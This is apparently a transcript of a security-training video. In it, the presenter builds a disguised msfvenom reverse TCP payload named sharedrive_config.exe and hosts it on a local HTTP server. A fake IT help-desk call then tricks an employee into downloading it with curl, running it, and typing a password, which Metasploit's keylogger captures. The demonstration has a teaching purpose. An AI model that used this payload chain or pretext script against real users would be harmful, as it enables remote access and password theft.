In this demonstration,
I will create a Remote Access Trojan
or a RAT, using msfvenom.
And what I'm going to do here is create a meterpreter,
which is part of the Metasploit Framework.
And then, we're going to use Metasploit
to install a keylogger.
So, we have the msfvenom command,
then we have the -p option,
which specifies the reverse TCP payload,
and then we're just going to establish
our attacker IP address,
which is going to be the local host.
Then, we have the local port, which is going to be the port,
where I, as the attacker, will listen for that connection.
Then, with the -f option,
it just specify as the output format.
So, the exe is going to be for a Windows executable.
And then, we're going to output this file
into the sharedrive_config.exe file.
We're going to create a scenario
where we're interacting with an employee
who's trying to get their shared drive configured,
but instead, we're going to install this RAT,
or Remote Access Trojan,
and then have them input their password,
and then we're going to be able to capture that information
and it's going to be shown here on our Metasploit Framework.
So, first thing we need to do is we're going to create this.
Okay, great.
Next thing we're going to do is create a HTTP server,
so we can have the user
retrieve the file directly from our system.
So, we're going to use the python3 -m http.server 8080.
So, we're going to have them retrieve the information.
Again, the file is going to be sharedrive_config.exe.
All right.
So, we've started as HTTP server,
and now we're listening on port 8080.
Now, I'm going to switch over really quick
and show you our configuration
for our Metaspoilt Framework tool.
So, we have our local host set up here.
Then, we have the local port
that we're going to be listening to
as configured with the msfvenom.
Now, we're going to go ahead and run this,
so we'll be here waiting for it
to be executed on the victim's machine.
All right, so now we're waiting
for them to execute the payload.
Switching over there now.
All right, so now, we're going to play
the role of the person
in the new department,
and we're trying to get our shared drive set up.
So, they're on the phone now
with the IT help desk technician and they're asking,
"Hey, how do I install the share config driver?
I've been told that everyone needs this to do this."
Okay, let me show you how to do this.
First thing you need to do
is you're going to type in the following command.
So, you're going to type in curl, okay, curl,
and then you're going to use our local IP address.
All right. So, we're going to do
10.2.20.215:8080/sharedrive_config.exe.
And press space, press --output.
And we're just going to name the same thing.
So, let's do sharedrive_config.exe.
Okay, perfect.
Now, go ahead and just type in sharedrive_config
and it's going to run in the background for you.
Now, after that, I'm going to ask you
to put in your password.
Now, we've been having issues
with this particular script lately,
so if it doesn't go through, just let me know.
But go ahead and just try to run it first.
All right. So, sharedrive_config.exe.
All right, I'm going to press enter.
All right, so nothing happened.
All right, give me one second.
Let me check on my end to see if it's running.
All right, so now we're back on the attacker machine.
So, we see that we were able
to successfully connect to the victim's machine.
So, we have the IP address
and it would send us the information.
Next, we're going to run keyscan_start.
Now, this is a built-in keylogger from Metasploit.
All right, perfect.
So, we started the keystroke sniffer.
So, now, we're waiting
for the victim to start typing things in.
Let's switch back to the victim's device.
All right, I'm back.
So, if you could please just type in your password
and let's see what happens.
Oh, it's saying password is unrecognizable,
internal or external command.
What does that mean?
All right, so now,
we've successfully manipulated the employee
to inputting their password.
But to them, they're typing it securely on their screen.
There's no way the technician would know.
But if you switch back
to our Kali Linux machine, we'll see differently.
All right, so we're back here.
So, we know we had started the keystroke sniffer,
so now we need to dump this.
So,
keyscan_dump.
All right, and perfect.
We have successfully captured the password of the victim
by installing a msfvenom payload,
and then running a keylogger on the victim's machine.
In this demonstration, we created a RAT using the msfvenom
with a reverse TCP payload and keylogger functionality.
Then, we captured their sensitive information,
which was their password in this case,
and we were able to successfully store it,
save it, and display it on our screen.
I hope you enjoyed this demonstration
and I'll see you in the next one.